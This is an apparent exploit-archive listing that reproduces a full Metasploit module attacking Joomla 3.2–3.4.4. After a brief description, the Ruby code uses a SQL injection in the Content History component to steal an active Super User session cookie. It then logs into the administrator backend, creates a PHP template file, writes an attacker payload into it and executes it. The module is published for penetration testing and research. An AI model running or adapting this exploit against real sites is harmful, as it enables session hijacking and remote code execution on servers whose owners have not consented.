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Joomla Content History SQL Injection Remote Code Execution

Joomla Content History SQL Injection Remote Code Execution
Posted Nov 20, 2015
Authored by Asaf Orpani | Site metasploit.com

This Metasploit module exploits a SQL injection vulnerability found in Joomla versions 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator component in the core of Joomla. Triggering the SQL injection makes it possible to retrieve active Super User sessions. The cookie can be used to login to the Joomla administrator backend. By creating a new template file containing our payload, remote code execution is made possible.

tags | exploit, remote, code execution, sql injection
advisories | CVE-2015-7297, CVE-2015-7857, CVE-2015-7858
SHA-256 | 53518655f45dd51e0502900828af9b020e75d493ef442b649696eaac77fb78b1

Joomla Content History SQL Injection Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Joomla Content History SQLi Remote Code Execution",
'Description' => %q{
This module exploits a SQL injection vulnerability found in Joomla versions
3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
component in the core of Joomla. Triggering the SQL injection makes it possible
to retrieve active Super User sessions. The cookie can be used to login to the
Joomla administrator backend. By creating a new template file containing our
payload, remote code execution is made possible.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Asaf Orpani', # Vulnerability discovery
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2015-7857' ], # Admin session hijacking
[ 'CVE', '2015-7297' ], # SQLi
[ 'CVE', '2015-7857' ], # SQLi
[ 'CVE', '2015-7858' ], # SQLi
[ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],
[ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 3.x <= 3.4.4', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 23 2015",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/'])
], self.class)

end

def check

# Request using a non-existing table
res = sqli(rand_text_alphanumeric(rand(10)+6))

if res && res.body =~ /`(.*)_ucm_history`/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe

end


def sqli( tableprefix )

# SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
# The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real admin sessions.

sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"

# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'vars_get' => {
'option' => 'com_contenthistory',
'view' => 'history',
'list[ordering]' => '',
'item_id' => '1',
'type_id' => '1',
'list[select]' => sql
}
})

return res

end


def exploit

# Request using a non-existing table first, to retrieve the table prefix
res = sqli(rand_text_alphanumeric(rand(10)+6))

if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/
table_prefix = $1
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
end

# Retrieve the admin session using our retrieved table prefix
res = sqli("#{table_prefix}_")

if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/
auth_cookie_part = $1[0...-1]
print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
else
fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
end

# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php")
})

if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
cookie_begin = $1
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
end

# Modify cookie to authenticated admin
auth_cookie = cookie_begin
auth_cookie << "="
auth_cookie << auth_cookie_part
auth_cookie << ";"

# Authenticated session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie
})

if res && res.code == 200 && res.body =~ /Administration - Control Panel/
print_status("#{peer} - Successfully authenticated as Administrator")
else
fail_with(Failure::Unknown, "#{peer} - Session failure")
end


# Retrieve template view
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'templates'
}
})

# We try to retrieve and store the first template found
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
template_id = $1
file_id = $2
else
fail_with(Failure::Unknown, "Unable to retrieve template")
end

filename = rand_text_alphanumeric(rand(10)+6)

# Create file
print_status("#{peer} - Creating file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'task' => 'template.createFile',
'id' => template_id,
'file' => file_id,
},
'vars_post' => {
'type' => 'php',
'name' => filename
}
})

# Grab token
if res && res.code == 303 && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to [ #{location} ]")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => auth_cookie
)

# Retrieving template token
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
token = $1
print_status("#{peer} - Token [ #{token} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
end

if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
template_path = $1
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
end

else
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
end

filename_base64 = Rex::Text.encode_base64("/#{filename}.php")

# Inject payload data into file
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'template',
'id' => template_id,
'file' => filename_base64,
},
'vars_post' => {
'jform[source]' => payload.encoded,
'task' => 'template.apply',
token => '1',
'jform[extension_id]' => template_id,
'jform[filename]' => "/#{filename}.php"
}
})

if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
else
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
end

# Request payload
register_files_for_cleanup("#{filename}.php")
print_status("#{peer} - Executing payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
'cookie' => auth_cookie
})

end

end
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